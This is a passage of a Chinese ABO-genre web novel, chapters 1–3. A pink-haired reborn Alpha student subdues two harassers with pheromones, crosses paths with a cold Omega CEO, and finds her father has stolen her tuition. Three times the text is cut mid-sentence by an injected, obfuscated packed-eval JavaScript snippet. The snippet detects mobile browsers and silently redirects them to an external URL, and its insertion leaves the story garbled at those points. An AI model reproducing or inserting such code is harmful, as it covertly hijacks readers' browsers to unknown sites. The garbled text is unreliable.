《卡哇1也是1![GB]》 1. 豪车 夏末,凌晨一点,北江市。 已至深夜,路上行人寥寥,道路两旁的商铺也纷纷落锁关灯,一片漆黑。 少有几家餐馆营业到现在。 木棉擦干净手上的水,锤了两下肩膀,又扭着脖子来回转了好几圈,然而长时间低头造成的酸痛感并未减轻分毫。 她缓缓吐出口气,草草擦了把额上的汗,顶着酸麻的后颈,硬是拖着两条软绵绵的腿走出后厨。 “王姐,碗我都洗好了,你那还有什么我能帮上忙的地方么?” 哪怕累到极致,她的嗓音仍细细甜甜的,落在烟火气浓重的大排档,有种格格不入的透净。 像路边卖的那种棉花糖。缠成软绵绵的一大团,入口即化,甜味能顺着舌尖淌进喉咙,甜到心口。 即便听了两个月,王姐还是恍惚了下,怎么也想不通这样一个又甜又软的孩子会是那种强势蛮横的Alpha。 “王姐?”愣神间,木棉已经走到她跟前。 她染了一头芭比粉,看似不逊,但顶着她那张圆圆的可爱脸,却展露不出丝毫不守规矩的感觉。只让人觉得乖。 简单的白T搭配牛仔裤,因为洗过很多次,衣服明显变形,T恤上的草莓图案掉色明显,不是个家庭富裕的孩子。 她额头沁着细汗,歪着脑袋看她,白嫩的脸上露出疑惑:“……王姐?” 王姐猝然回神,习惯性大嗓门说话的她忍不住放低了音量,回复:“只剩下最后一张桌子,我马上就擦完了。小棉,不早了,你赶紧收拾收拾回家吧。” 木棉扫了眼她手里的脏抹布,转身帮她打了盆水。 “今天又让你忙到这么晚……”王姐舔舔嘴唇,敦厚的脸上有些不好意思,她三两下擦干净桌子,用木棉刚打的水清洗抹布,闲聊:“是不是快开学了啊。” 木棉点点头,圆溜溜的大眼睛眯成弯月:“明天去报道。” 死后穿越到这里,时隔多年重返校园,她还挺高兴的。 “还有几年毕业啊?” “明年毕业,这是最后一年。” 王姐眼睛一亮:“那你跟我闺女一样大嘞!上完还上不?” 木棉摇摇头:“大学就足够了。” 这个世界的高等教育学费昂贵,一年动辄大几万。助学贷款利率极高且难办理,助学金更是少得可怜,她只能勉强支撑大学学费,花销更大的研究生想都不敢想。 王姐点头,有些赞同:“足够啦,咱们这种普通人有大学上就很好啦。像我闺女,读完大学还要再读研嘞,折腾死啦!” 说着,她叹了口气:“要不是为了她,我哪至于开个饭馆忙到现在呐。早去跳广场舞啦!” 木棉笑笑,没搭话。 她看了眼窗外,漆黑的街道像能吞人的巨兽,偶尔飞驰过几辆打着近远光灯的车,掠过一簇白光。 真的有些太晚了,她现在必须得走。 思及此,木棉咬咬唇,打了一番腹稿才开口:“王姐,我明天就不来了,咱们结下工资吧。今天正好月底。” 王姐愣了愣,像是才想到似的,一拍脑门,三步并作两步走到收银台。 “哎!你看我这记性。忙忘了。” 她一边找钱,嘴上也没闲着,不知有意还是无意:“要不是今年夏天人太多,忙不过来,我也不会招暑假工……孩子上学很花钱啊……” 木棉没吭声,一直紧紧盯着她数钱的手,心里默算。 这可是她这学期的学费,半点马虎不得。 “三千。”王姐数了一遍,递过来。 木棉没接,小脸绷得有些紧,圆眼一眨不眨:“应该是三千二,还有两百全勤。” 王姐粗眉一挑:“我说过?” 木棉细声细语地嗯了声,打开手机录音,最初来面试的对话声传出。 “一月三千,每个月有一百全勤。王姐当时说,全勤奖暑假结束再发。所以加起来,应该给我三千二。” 女孩的声音有些抖,但口齿清晰,有理有据。一圈绯红从白皙的脖颈往脸颊上蔓延,她脸颊红彤彤的,不知是紧张还是热的。 空气凝固了一瞬,安静到甚至能听到苍蝇嗡嗡嗡盘旋的动静。 很快,王姐像是终于回忆起当时说的话,夸张地啊了一声:“你看看我,第一次招暑假工,还不熟练。” 她又从抽屉里掏出两张纸币,加上刚才那三千块一并拍到桌上,微厚的嘴唇抿成直线:“这下够了吧。” 木棉仔细拿起来,没数,只是弯了弯眼,仿佛没察觉她的恼火:“谢谢王姐。” “明天开学要早起,我就先回家了,王姐也早点休息。” 她认真揣好钱,笑眯眯挥手作别,迟钝得像个呆娃娃,步伐轻快走出大排档。 她身后,王姐撇撇嘴,脸色不太好看:“还以为是个脸皮薄的,不敢要这两百块嘞。” 在这打工两个月,木棉一直表现得乖巧听话,很守规矩,说话也轻声细语,她还以为是个好拿捏的,能省下两百块工钱。没想到…… 王姐嗓门向来大,此刻又没刻意压低音量,木棉听了个清楚。 女孩脚步顿了顿,接着如往常般走入黑夜。 - 红绿灯路口。 等红灯的间隙,木棉仔仔细细又数了两遍钱,确保三千二没错。 她这才彻底放下心。 虽然王姐数钱的时候,她也在心里算,但到底亲手数一遍更踏实。 木棉把钱严严实实压进口袋里。 周围安静极了,夏末的风仍有些燥热。 一天都呆在后厨,她衣服上沾满了大排档的味道,经风一吹四散开来,腻得她哽住。 木棉捂上脸颊,滚烫的温度顺着手指蔓延,烫得她不禁吸了吸鼻子,压住喉间的哭腔。 王姐最后的嘟囔她听得清楚,霎时的窘迫和尴尬裹住她。因为贫穷而被迫计较每一分钱的行为让她感到一点点难堪,脸颊不受控制地升温。 但她也没觉得自己有什么错,哪怕只是两百块钱,这也是她的劳动所得。 只是被当面说闲话,她到底感到不自在。 安静了好一会儿,等脸上的温度慢慢降下来,她这才摁亮手机看了眼时间,已经一点四十五了。 她家偏僻,位于贫困区,附近没通地铁,这时候公交也早早下班了。 好在大排档离家不远,走半小时路就能到。 木棉揉揉眼睛,后知后觉地感到困乏。 奔波了一天,她现在累得几乎沾床就睡。 大清早爬起来坐一个半小时的早班地铁到中心城区上三个小时的家教,上完课再坐一小时地铁赶到这家大排档做服务员,一直到半夜。 生产队的驴都没有她这么累啊。更何况,这样的作息她坚持了整整一个暑假。 木棉沉沉叹了口气。 生活不易,棉棉叹气。 好在,这个暑假她勉强把学费攒够了,也存了几百块钱吃饭,省着用的话,暂时能活小半个月。 再加上她手头一直有个家教,等开学再找个兼职,这学期的花销差不多够了。 红绿灯闪烁了两下,终于由橙变绿。 木棉搓了两下脸,提起神,快步穿过十字路口。 周围又静又黑。 她打开手机的手电筒,借着淡白色的光影看清前路。 这里在施工,听说是一个大公司的项目。上个月都开始动工了,结果这几天旁边小区的居民突然不愿意,接连来闹了好几回。 工地建设进度被迫中断,工人拿不到工资也开始闹事。 更有甚者,还流传出这里曾是一片墓地的传闻。一时间,更是舆论纷纷。 木棉之前都会特意避开这条路,建筑工地嘛,人乱还危险。但无奈今天下班实在太晚,而走这条路能缩短起码二十分钟路程。 她太困了,想早点回去睡觉。 传闻什么的,毕竟只是传闻。 她总不能那么倒霉吧。 砰—— 起重机运转的声音突兀响起,吓了她一跳。 木棉抿唇,默默调高了手电筒的亮度,心中默念社会主义核心价值观。 她是个坚定的唯物主义者,坚决不相信世界上有什么鬼魂妖魔。 一边安慰自己,木棉强装镇定继续往前走。 忽的,一阵阵哐啷声响起,装酒的易拉罐滚到地上,恰好停到她鞋尖前。 手电筒照亮的区域内,出现两双脏兮兮的运动鞋。 “小妹妹,这么晚了一个人在外面啊。”邪里邪气的声音伴随着浓郁的酒气喷来,话落就是一阵嚣张的笑声。 木棉心沉了沉,暗道倒霉。 她屏住呼吸,不想闻到半点酒臭味,上移手电筒,两个穿着施工服的男人映入眼帘。 个头不高,体型干瘦,看不出来是不是Alpha。 如果是Alpha就好办了…… 她默不作声转转脚尖,侧身避过他们,往另一个方向走。 乖软的脸上面无表情,看起来丝毫不怕。 两男人一愣,接着哈哈大笑,认定木棉在假装。 他们悠然缀在女孩身后,时不时吹两声难听的口哨,再挑逗似的冒出几句不礼貌的话。 像猫捉老鼠,一副她已经成为案板鱼肉的样子。 木棉捏紧了口袋里的钱,知道自己这是又被当成Omega了。Alpha就是这样,见到孤零零的Omega就要黏过来,遇到强大的Alpha又会夹着尾巴逃跑。 她转着手电,小脸绷着,慢吞吞思索怎么离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127635|196160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 穿到这个世界,成为Alpha,她能感觉到的最大优势就是信息素。 对Alpha来说,信息素是个增加武力值的好东西。天赋高的Alpha可以凭借信息素攻击压制劣质Alpha。 这种事,她干得不少。 木棉眨巴眨巴眼,眼底瞬间泛出泪花,扭头天真无辜地看了眼两人。接着,她脚步加快,看起来像慌不择路的逃跑。 身后的笑声愈发放肆。他们更兴奋了。 “小妹妹,这里没人,你一个Omega乱跑什么……哥哥我们可是Alpha,哥哥送你回家啊……” 是Alpha,这就好办了。 木棉停住脚步。 转身时,手电筒的光圈扫过路边拐角,照到一辆深黑加长版豪车。 她摸向后颈的手猛得顿住,眨了下眼。 有人? 紧跟着她的两个Alpha显然也看到了,他们立马停下。 但很可惜,车里似乎没人。 两人等了等,发现没人出来,他们重新邪笑着靠近,自我安慰:“啧,这偏僻得很,能有什么人。自己吓自己。” 木棉也跟着松口气。 确实,这么晚了车里怎么会有人。 没人可太好了。 她转过身,仰头环视一圈,这里是个监控死角,她精挑细选的好位置。 这车还挺会停的。 木棉又扫了眼安安静静停在路边的车,看起来确实不像有人的样子。 她稍稍安下心。 见女孩淡然转身,两人先是一愣,接着对视一眼,笑容越发得意:“还挺有自知之明。知道没人能救你,跑都不跑了。哥哥们喜欢聪明的Omega。” 木棉心里呕了下,圆眼弯弯,右脸映出一个小小的梨涡,嗓音甜甜的:“大叔,这么晚了不回家尾随别人,真不怕出事啊。” “哈?笑话,我们两个Alpha能出什么事!你……” 不等两人继续口吐污言。 木棉摸向后颈,慢吞吞揭下抑制贴,喃喃:“Alpha不会出事可太好了……” 她易感期快到了,这两天一直贴着抑制贴,以防信息素泄露影响别人。 但现在,周围除了这两个恶心人的男A,并无他人。 淡淡的水果糖的甜味弥漫在空气中。 木棉眨眨眼,感到轻微的眩晕。 可能今天太忙太累,又没有好好吃饭,她能释放的信息素并不多。 但没关系,对付这两人,足够了。 她看向脸色变得苍白、双眼越瞪越大的男人,笑得像个洋娃娃:“真是多亏了你们是Alpha。”能闻到信息素的味道。 如果是两个普通的男性Beta,没法用信息素压制,她还真要仔细想想男女之间的生理差异了。 毕竟,来到这里后,她每天都疲于解决温饱问题,身体素质差得可怜。 两个Alpha震惊极了。 强烈的被压制感从面前这个看起来又软又萌的小姑娘身上涌出。 空气中飘散着水果的清甜,信息素的味道就像她这个人,一点也不A。 但他们清楚感觉到自己浑身上下的骨头就像在被无数个车轮碾压,疼得他们忍不住哀嚎出声,扑通跪地。连用信息素抵抗都提不起力气。 木棉慢吞吞走过去,垂眸看着他们狼狈的表情,抬脚踩上其中一人的手背,礼貌道:“你们这种Alpha,真讨厌。” 一想到自己现在跟这种人同属一个性别,木棉就止不住得犯恶心。 她一鼓作气,加大了信息素释放力度。 果香不再清甜,反而变得厚重,乌泱泱尽数扑到跪在地上的两人身上。 “耽误我回家,耽误我睡觉,真的很讨厌。” 根本不给两人说话的机会,砰砰两声,他们成功晕死过去。 被当成Omega,再顺理成章地被Alpha尾随什么的,她不是第一次遇到。见得太多,以至于她处理起来有种游刃有余、见怪不怪的诡异感。 木棉哼笑两声,困困地打了个哈欠,把抑制贴重新贴回去。 二次使用后,它变得没那么粘。木棉费了好一番功夫,才勉强将它固定在后颈。 好在路上没人,回家再换个新的吧。 这般想着,木棉拖着疲惫的身躯,慢吞吞往家走,神情平静自然,仿佛刚刚发生的只是一个小插曲。 走了两步,她发现那辆加长版豪车好巧不巧停在她必经之路上。车身宽敞,几乎占了一半马路,而另一半路则被围栏圈起,禁止通行。 无法,木棉只得小心翼翼贴着车边走。 刚走过反光镜,一道低沉冷冽的男声隔着车玻璃,从后座传来:“收好你的信息素。” 2. 霸总 “收好你的信息素。” 木棉茫然了一瞬,迟钝地识别出声源,看向轿车后座。 却只看到乌黑的防窥膜。 ……车里有人? 她慢吞吞哦了声,下意识摸了摸后颈:“贴得很严实,先生。”男人的声音低哑深沉,听起来不像年轻人。 说完,她抬脚便要离开。脑中默默盘算了一下刚才的所作所为,并没有违法违规的情况,木棉安下心来。 这时,车窗降下的声音响起,防窥膜寸寸落下,空调的冷气顺着敞开的车窗溢出,木棉感到一阵清凉。 还闻到一股冷冽的雪松气味。 她不禁停下脚步,舒服地吸了一大口,感到身上的燥热都轻了不少。 车窗落下一半便停住,木棉下意识往里面看了眼。 只见车里的男人只露出上半张脸,眼镜下的目光冷然,淡淡瞥了她一眼。 幽黑的瞳孔触及她的脸时,骤然缩了一下。不等木棉疑惑,他就像是看到了什么脏东西,目露冷意。 木棉无意识退后半步,等她反应过来时,她怔了怔。 她刚才被这男人的气势震慑住了。 好凶。 他看起来像个Alpha,AA之间闻到对方的信息素确实会感到不爽。 木棉虽然不太高兴他刚才的冷言冷语,但毕竟是她有错在先,没资格置喙。 但他刚才那一眼…… 这个男人不喜欢她,并且在无所顾忌地向她表现出厌恶。 木棉皱眉,有种被莫名其妙冒犯的不悦和被人冷眼相待的尴尬。 直面冲突时,她的脸颊又开始变烫,不用想都知道此刻一定满脸通红,像是被欺负了,有些羞窘。 男人眸光闪了闪。 木棉垂着头,她有点痛恨自己这样的体质。 她想出声反驳,或者也像男人一样冷眼打量回去,但她此刻却是红着脸,垂下眼皮,透出一种要哭不哭的委屈感。 死嘴,快说啊。 这时,一道温雅的男声从侧后方响起:“柏总,拖车二十分钟后到。” 温言温助理悄悄看了眼老板面前委屈巴巴的粉发小姑娘,目露同情,继续一丝不苟地汇报:“路上的钉子知会了警方,三日内会有调查结果。” 青年的出现打破了他们两人之间怪异的气氛。 木棉这才迟钝地意识到,车里这个冷脸男纡尊降贵、降下车窗,是因为他的助理过来跟他汇报工作。 她想趁机离开,但眼神却无意识顺着助理的话看了眼地面。 路面上没有一颗钉子,想来已经被处理过,而车后座的轮胎是瘪的。 原来是爆胎了。 她没忍住,嘴角扬了扬。 这男的黑着脸不动如山坐车里,不知道的还以为他在商业谈判呢,原来是车爆胎了走不了。 笑死,好装一男的。 木棉有点幸灾乐祸,窃喜压过了刚才被冷眼打量的不适。 柏商霖眼神又冷了几分。 女孩年轻稚嫩,不会掩盖情绪,心中所想在她脸上一览无余。 而她身上的水果糖的味道太甜太腻,哪怕贴了抑制贴,仍然无孔不入地往他身体里钻。 挡在大腿中央的手攥紧,柏商霖沉声咳了下。 女孩上扬的嘴角一顿,慢吞吞耷拉下来。 木棉用力按了按后颈的抑制贴,无声表示自己贴得很严实,抬脚就要离开。 “借过,谢谢。” 助理挡在她前面,木棉淡淡说了句。 温言感到女孩身上微妙的不爽,一怔,下意识看向老板。 柏商霖点了下头。 温助理老老实实侧身,给女孩腾出位置。 木棉三步并作两步,快速穿过。 柏商霖看着她那头极其扎眼的芭比粉发色渐渐融入夜色,垂眸。 女孩早已走远,然而浓郁的水果糖甜味迟迟不散,顶得他眼尾泛红,后背濡湿。 他难耐地攥紧拳头。 幸好她走了。 不然,他怕不是要在这个年轻女孩面前露出狼狈的一面。 “……柏总。”温言是个普通的Beta,没有腺体,也闻不到信息素。 但他知道老板是个对信息素极其敏感的Omega,并且他现在正处于危险的发情期。 训练有素的温助理迅速反应过来柏商霖正在发生什么。 他连忙绕到车前,从备用药箱里拿出强效抑制剂。 “两支。”柏商霖沉声。 温言迟疑片刻,听命又多拿了一支。 柏商霖常年注射抑制剂。从十六岁分化成Omega开始,每一次发情期,他都是靠抑制剂度过的。 正因如此,他的身体早已产生抗药性,每逢发情期敏感得可怕,只能注射专门研制的强效抑制剂。 效果好,但副作用也不小。 “柏总……”温助理打开后车门,将手里的两支抑制剂递过去。 安静了很久,柏商霖才缓缓接过,触碰时他手指滚烫的温度让温言一怔。 柏总从没这么严重过…… 下意识的,温言抬头看了男人一眼。下一瞬,他像被烫到似的,慌忙关上车门,扭头避开。 柏总他…… 衬衫纽扣开了两粒,冷白的脖颈一览无余,再也不见往日的保守克制。深黑的西裤都无法遮住湿意,他浑身上下泥泞潮湿。那张一丝不苟的脸上晕起潮红,眼镜被扯下,随手丢在大腿边,成熟的背头发型凌乱不堪,发根潮湿粘在一起。 是因为刚刚那个女孩…… “拿套西装。”柏商霖冷淡的声音隔着车窗传出。 温助理堪堪回神,马上另取了一套备用西装。 开门时,柏总已经恢复成往常的样子,神情漠然,目光冷淡,全然没有刚才那副狼狈的模样。 温言垂着头,不敢再看,将新西装放到座椅上。 车门再一次被推开时,柏商霖屈身走出,一如往常矜贵自持。 “您的发情期越来越严重了……”见老板面色平静,温言硬着头皮劝,“要不考虑一下顾医生的建议,找个Alpha……” “温言。”柏商霖淡淡开口。 温言霎时住口,不敢再提。 “这两天把这个项目结了。”柏商霖朝路边的建筑工地抬了抬下巴,眉眼锋利,镜片折射出冷光,“什么流言蜚语、聚众闹事,该抓的抓、该敲打的敲打。” “是。”温言迅速回到工作状态,一一记下。 他们今日过来就是为了看看这个项目的进度,没想到路上爆胎,耽误了事。 这才意外目睹那个软萌小姑娘恶狠狠的一面。 到此刻,温言对她是Alpha而非Omega仍然有种不真实感。 明明她长得一点也不A,无论怎么看都是个Omega。 “至于这种货色,”柏商霖冷着脸,银丝眼镜后的双眼透着残酷,睨了眼车头前晕死在地的两人,“都能被任达欧招进来……” 车头大灯亮着,照出两人身上印着“柏氏”二字的施工服。 温言秒懂:“明天就走辞退手续。” 柏总最厌恶Alpha,这两个人也是撞上枪.口了。 柏商霖淡淡嗯了声。 “刚刚那个女孩……”温言试探问,想琢磨下怎么处理她。 “路人,不必在意。” - 漆黑的甬道没有一丁点亮光,凄厉的猫咪发情叫声此起彼伏地响起又落下。 木棉开着手电,小心翼翼走着。 老旧小区破破烂烂,楼间距惨不忍睹,房屋密集挤成一个个蜂窝,外墙掉漆掉皮,有的地方已经被绿油油的爬墙虎侵占。 水泥地年久失修,裂成一个个碎石坑。 一个不察,木棉踩进坑里,尖锐的疼痛从脚踝处蔓延。 没忍住,木棉红了红眼,深深觉得自己今天水逆,接二连三遇到糟心事。 崴的脚是右脚,她不习惯左脚受力,走得一瘸一拐。 更倒霉的是,她家在六楼,没电梯。 木棉深吸一口气,扶着楼梯扶手,慢吞吞爬上去。 等她到家门口拿钥匙开门时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127636|196160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,已经凌晨三点半了。 不知道叹了第几回气,木棉拧了拧钥匙。 刚推开条门缝,她就闻到了陌生的Omega信息素气味,木棉本能般捂紧后颈的抑制贴。 黏腻的、男女交杂在一起的声音一并传出,侵入她的耳膜。 木棉在门外无动于衷地站了会儿。 她推开门,一副司空见惯的样子,不顾右脚踝的刺痛,两腿并用,快步钻进自己的房间。 反手就是锁门,极为熟练。 房间隔音不好。 关着门,她还能听到陌生的女声在问她是谁。 而她的父亲急于享受,随口胡诌她是亲戚家来暂住的小孩。 也不知道女人信没信,他们没再说话,只剩下断断续续的哼声。 没刻意压低,甚至还高昂了不少。 木棉冷着脸藏好钱,又找了个冰袋敷在脚踝上,忙完后她戴上耳塞,一把扯过床脚的被子捂住头。 然而声音还是无孔不入,浓郁的Omega信息素透着股腐烂的味道,腻得她犯恶心。 也不知道是不是原身的情感作祟。 明明身体极其疲惫,眼睛也困得睁不开,大脑却活跃得要命,根本睡不着。 想着想着,木棉莫名想到刚来这里的时候。 大学毕业,她入职一家互联网大厂,过上了996的悲惨生活。 快节奏的高压工作完全挤占了她的日常生活,加班到凌晨成为常态,她的饮食和作息也完全乱掉。 可那时的她满心想着卷够十年班,赚够一辈子,最后找个物价低的小城市躺平。 她没想过自己会猝死,就在项目上线的前一天。 想到这,木棉心疼,她的年终奖啊。 连熬几个大夜,半点没捞着,恐怕只会成为他人口中感叹互联网公司加班狠的饭后谈资。 木棉望着脏兮兮的天花板,心情低落。 穿来这个ABO世界后,她发现这里的社会结构和之前的世界差不多,唯一不同的地方就在于性别划分。 现在,她成为占据潜在优势的第一性别了。 木棉望向窗外,黑夜笼罩大地。 耳边男女交错的声音消失了,世界变得静悄悄的。 时隔两年,她又一次想到原身——这具身体的真正主人。 穿来那天,她在读大二。 她似乎独来独往,性格孤僻,在夏天的末尾跳河而死。 木棉没有关于她的记忆,只是偶尔,大脑会闪过一些陌生的片段。 她猜测,那可能是原身残留在这具身体上的微末情感。 刚来时,她战战兢兢,生怕被人看出破绽抓去解剖做实验。 不过没几天,她就放下心来。 原身几乎没有社交圈,在大学里是透明人,在家里更是透明人。 身体里换了个芯子,她的父亲却没有丝毫察觉。 她是一个模糊的、没有任何兴趣和记忆点的女孩。 等等,也有。 木棉忽然翻了个身,趴在床上,探身从床下掏出一个铁盒。 刚穿来时,她把这间屋子翻了个遍。 房间里没什么东西,说是一贫如洗也不为过。只有这个铁盒,被原身保存得很好。 她打开手电,小心打开铁盒,入眼便是最上面被摩擦过多遍、已经泛白的杂志封面。 ——那是一个略显青涩的高中生。 穿着学生制服,领口一丝不苟系到顶端,像个古板严肃的书呆子。 男生面对镜头没什么表情,垂着眼,透着股俯视他人的傲气。 有种莫名的熟悉。 木棉继续往下翻。 原身是按时间先后摆放的,她没打乱,看着照片里的男生从少年到青年,从青涩到成熟。 当看到最下面的照片时,木棉愣了愣。 拿着的手有些发抖,沉默了好一会,她小心翼翼盖住男生下半张脸。 ——刚才熟悉的感觉彻底真实,她再也无法掩耳盗铃。 这人正是那个只降了半截车窗的冷脸男Alpha。 3. 混蛋 木棉从原身收藏的采访杂志里知道了他的名字,原来叫柏商霖。 柏氏集团的二少爷,名副其实的小柏总,是个手腕强硬、商业天赋极高的人。今年二十八岁,已经将柏氏的商业版图再度扩大,使其牢牢占据北江市龙头老大的位置。 冷酷、高傲、禁欲,高高在上,运筹帷幄。 他是位于金字塔顶端的人。 木棉对他的第一印象很差。 他端坐在车里,冷冰冰看着她,露出意味不明的冷笑。 她是个迟钝且守规矩的Alpha,不擅长应对冲突,面对敌意也表现出后知后觉的钝感力。 只有柏商霖,让她当场感受到他的厌恶,让她第一次对一个人有了“不太喜欢想回避”的实感。 一想到他的冷眼,木棉又开始感到尴尬无措。 他的脸在脑中频繁闪现,让她想尖叫出声,把这段记忆删掉。 难道原身喜欢柏商霖? 木棉皱起眉头,下意识将铁盒里珍藏好的东西恢复原位,没敢细看。这有种偷窥别人隐私的背德感。 她是个遵纪守法、道德感很高的Alpha。 放好东西,木棉重新缩回床上,酝酿睡意。 临睡前,她不放心地又摸了摸藏钱的位置。 确定万无一失后,她沉沉睡去。 她住的小区里有人养鸡,大早上天蒙蒙亮就开始鸣叫。 鸡叫声跌宕起伏,时高时低,以为它终于要安静的时候,它又高亢起来。 木棉被吵醒,又迷蒙着睡去。 如此来来回回两三次,她终于爬起来。 她睡得很不好。 不只是因为鸡叫声,昨天梦里,她频繁梦到那个冷脸男Alpha。 梦到他冷着脸盯着她,梦到他意味不明的嗤笑,梦到他用那双冷冰冰的眼上下打量她,充满了傲慢和俯视的意味。 木棉打了个寒颤。 她是个胆小规矩的Alpha,深知不该惹的人不能惹。 幸好遇到柏商霖只是偶然,他们的生活没有交集,也不可能有交集。 木棉稍稍放下心。 用冷水洗了把脸,她勉强打起精神。 镜中的少女脸色苍白,眼下乌黑,一副没睡醒的样子。即便如此,困意似乎衬得她更加可爱,略带婴儿肥的腮帮子让人想伸手捏一把。 木棉自己伸手捏了把。 镜中的人笑弯了眼。 给自己梳了个高马尾,木棉甩甩头发,精神不错。 这学期的学费终于凑齐,她勉强有了点能活下去的基础。扣除学费,她手里还有几百块钱,足够她这几天的生活费。至于后面的,打工再赚吧。至少现在,她可以轻松一下。 想到这,木棉心情又好上几分。 她哼着歌,洗漱穿衣,打开房门给自己做早饭。 客厅里静悄悄的,昨夜交缠的信息素味道早已散净。 木棉扫视一圈,她那个便宜父亲的房门开着,里面空无一人。客厅沙发上堆满了男人女人的衣服,她拧起眉头,若无其事移开目光,不想让这种脏东西影响她的好心情。 到厨房下了碗清水面,还给自己额外加了个荷包蛋。 木棉吸溜吸溜吃了个饱饭,把碗洗了,才回房间拿上书包准备上学。 她摸向床底和床头柜的夹缝。 触手一片冰凉。 木棉心脏骤停。 她瞪大了眼,急切蹲下,搬走床头柜。 地板上空无一物,只浮起一层薄薄的灰尘。 她的钱呢?! 木棉浑身发抖,来来回回翻找了好几遍,却怎么都没找到。 “灰色钱包……灰色的钱包……”她嘴上不停重复,从床头找到床尾,把整个床底都翻了个遍。 空无一物。 急促的振动声响起。 木棉慌乱看了眼手机,是她提前定的提醒闹钟。 她现在必须要出发去学校,不然会迟到。 可是她的钱找不到了……缺了三千二,她的学费凑不齐…… 木棉急得眼圈发红。 忽然,她想到了什么,骤然安静下来。手指轻颤着关掉闹钟,点开手机通讯录,划到“爸爸”两个字上。 这是原身的手机,原身的命名,她一直没改。 木棉咬唇,不愿相信是她爸拿走了钱。 但平白无故的,钱还能自己长翅膀飞走吗? 她咬牙,点开通话键。 先是一阵悠扬的琴声,接着嘟嘟嘟的忙音响起:“对不起,您拨打的电话暂时无法接通,请稍后……” 木棉关掉,重新再打。 “对不起,您拨打的……” 她关掉,再打。 耳边仍然是一样的话术,温柔的女声听得她恼火。 她关掉,眼神麻木。 “……混蛋。” 原身的父亲不是个好人,从她出生起就没承担过一天父亲的责任。 好赌成性,贪图享乐,纸醉金迷。 明明是个普通的Beta,却对信息素极其痴迷渴望。 无论是Omega还是Alpha,只要能释放信息素,他都喜欢。可明明他闻不到。 从前,他混蛋归混蛋,却从未动过她手里一分钱。 偶尔心情好了,酒醒了,还会给她几百块钱,笑眯眯地说:“零花钱”。 木棉厌烦他,是烦他把人带到家里,夜夜笙歌,搅得她睡不着觉。 却也未曾想过要防他偷钱。 她气得浑身发抖,攥着手机的手却愈发用力。 闹钟又一次震动,震得她手心发麻。 木棉冷静关掉,提起书包往公交站跑。 ——混蛋。 她恨恨地在心里咒骂。 公交转地铁,一个半小时后,木棉风尘仆仆赶到教室门口。 他们学院辅导员是个讨人嫌的,别的学院晚点名,他非要早点名,在年级群里通知九点开周会。 木棉蹑手蹑脚从后门钻进去时,教室里正在点名答到。 她翘着脚找纪千柠。 手机震了一下,木棉垂眸一瞥。 柠檬不酸:【最左边,倒数第二排!】 终于找到位置坐下,木棉松了口气,喝水压下喉间的血腥味。 坐定后,她才后知后觉地感到脚踝一阵刺痛,昨晚崴脚的地方已经鼓起。 木棉鼓了鼓脸,浑然不在意地收回手,放松右腿。 还好,只是崴了一下,没什么大碍。 手机正在震动。 木棉一边留意辅导员点名,垂眸点开聊天框。 纪千柠是个男Omege,也是原身为数不多说过话的人。他性子活泼,话也密,木棉刚坐下消息就不断。 他问她怎么迟到了,脸色还煞白。 木棉盯着上面的字,眼神飘忽。 她是个乖巧且守规矩的女大学生,不说迟到了,卡点到的情况都少有。 她一般会提前十分钟到,然后躲在最后一排,摸鱼发呆。 在来学校的路上,她不死心又给那个男的打了好几通电话。无一例外,全是关机。 痛恨之余,她暗暗责怪自己为什么这么不小心。 为什么不找个更稳妥的地方藏钱。 三千二百元,对她来说是一笔巨款。加上手里攒的三万七,正好凑齐了她这学期的学费。 甚至于,她为了额外的两百元,还被老板戳着脊梁骨阴阳。明明厚着脸皮讨要,对她来说是一件极难张口的事。 而现在,不仅两百块钱没了,三千块钱也没了。 木棉有些茫然。 她没有为学费发愁的经历。 上辈子顺风顺水活到二十三岁,总共才在社会上当了两年社畜。即便被996毒打,她也不得不说同事都是体面人,她未曾遇到过这样不讲道理、毫无底线的人。 她短暂的人生阅历在这样一个四面漏风的原生家庭里根本不够看,她开始理解原身选择跳河自尽。 被亲生父亲偷走学费,这种霸总文苦情小白花女主剧本,她从未想过会发生在自己身上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127637|196160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柠檬不酸:【棉棉,你怎么啦?】 纪千柠担忧地戳戳她。 木棉敛眸,勉强弯了下唇。 棉棉木:【在想能不能遇到个霸总。甩过来几十万,命令我当他的协议情人。】 纪千柠没看懂。 他上上下下横横竖竖都看了一遍,点评:【狮子小开口。】 霸总哪能给几十万呀,这多掉价。 现在的霸总文通货膨胀,没个几亿不敢称总裁。 木棉看出了他话里的意思,莫名笑笑,心情好了几分。 她强打起精神,深知抱怨解决不了问题。 当务之急,要先解决学费。 木棉点开boss直骗,群发简历。 